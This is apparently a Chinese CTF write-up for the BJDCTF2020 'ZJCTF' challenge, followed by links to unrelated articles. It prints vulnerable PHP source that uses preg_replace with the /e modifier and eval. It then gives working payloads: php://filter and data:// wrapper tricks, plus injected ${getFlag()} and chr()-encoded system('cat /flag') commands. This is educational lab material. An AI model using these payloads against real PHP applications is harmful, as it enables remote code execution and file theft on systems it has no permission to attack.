BUU [BJDCTF2020]ZJCTF,不过如此

简介: BUU [BJDCTF2020]ZJCTF,不过如此

BUU [BJDCTF2020]ZJCTF,不过如此

和BUU [ZJCTF 2019]NiZhuanSiWei一样。

?text=data://text/plain,I have a dream
&file=php://filter/read=convert.base64-encode/resource=next.php

得到next.php源码。

<?php
$id = $_GET['id'];
$_SESSION['id'] = $id;

function complex($re, $str) {
    return preg_replace('/(' . $re . ')/ei','strtolower("\\1")',$str);
}

foreach($_GET as $re => $str) {
    echo complex($re, $str). "\n";
}

function getFlag(){
  @eval($_GET['cmd']);
}

最终目的是调用getFlag()然后命令执行。

get和session两个值一样的,名字为id的变量,没什么用,估计是用来混淆不知道的那些人。

preg_replace()的/e模式存在命令执行。

深入研究preg_replace与代码执行 - 先知社区 (aliyun.com)

最终payload:

?text=data://text/plain,I have a dream&file=next.php&
+
\S*=${getFlag()}&cmd=system('cat /flag');
\S*=${system(chr(99).chr(97).chr(116).chr(32).chr(47).chr(102).chr(108).chr(97).chr(103))}
//chr拼接system的参数
\S*=${phpinfo()}可查看phpinfo()

目录
相关文章
|
存储 物联网 芯片
聊聊身边的嵌入式:点菜机用着好好的,突然挂了,这口锅应该甩给谁?
聊聊身边的嵌入式:点菜机用着好好的,突然挂了,这口锅应该甩给谁?
|
6月前
|
域名解析 网络协议 网络性能优化
为什么需要NQA?NQA到底为何物?一文告诉你!
为什么需要NQA?NQA到底为何物?一文告诉你!
134 1
|
Go
腥风血雨中,这招救了我的代码!
腥风血雨中,这招救了我的代码!
70 0
|
9月前
开学之际被Turkey问候,只能祭出正则大法
开学之际被Turkey问候,只能祭出正则大法
37 0
|
存储 安全 Python
python多线程------>这个玩意很哇塞,你不来看看吗
python多线程------>这个玩意很哇塞,你不来看看吗
用“三国杀”讲“分布式算法”,这下舒适了吧?
前言 《三国杀》是一款热门的卡牌游戏,结合中国三国时期背景,以身份为线索,以卡牌为形式,益智休闲,老少皆宜。 东汉末年,袁绍作为盟主,汇合了十八路诸侯一起攻打董卓。 在讲解之前,我们先聊下分布式协议和算法整体脉络。 现在很多开发同学对分布式的组件怎么使用都有一定经验,也知道 CAP 理论和 BASE 理论的大致含义。但认真去看分布式算法的真的很少,原因有三:
|
Kubernetes Ubuntu 关系型数据库
这不是愚人节玩笑,我们回来了:Typecho 1.2.0 发布!
这不是愚人节玩笑,我们回来了:Typecho 1.2.0 发布!
316 0
这不是愚人节玩笑,我们回来了:Typecho 1.2.0 发布!
|
网络协议 Linux
可恶,又被小林装到了!
可恶,又被小林装到了!
可恶,又被小林装到了!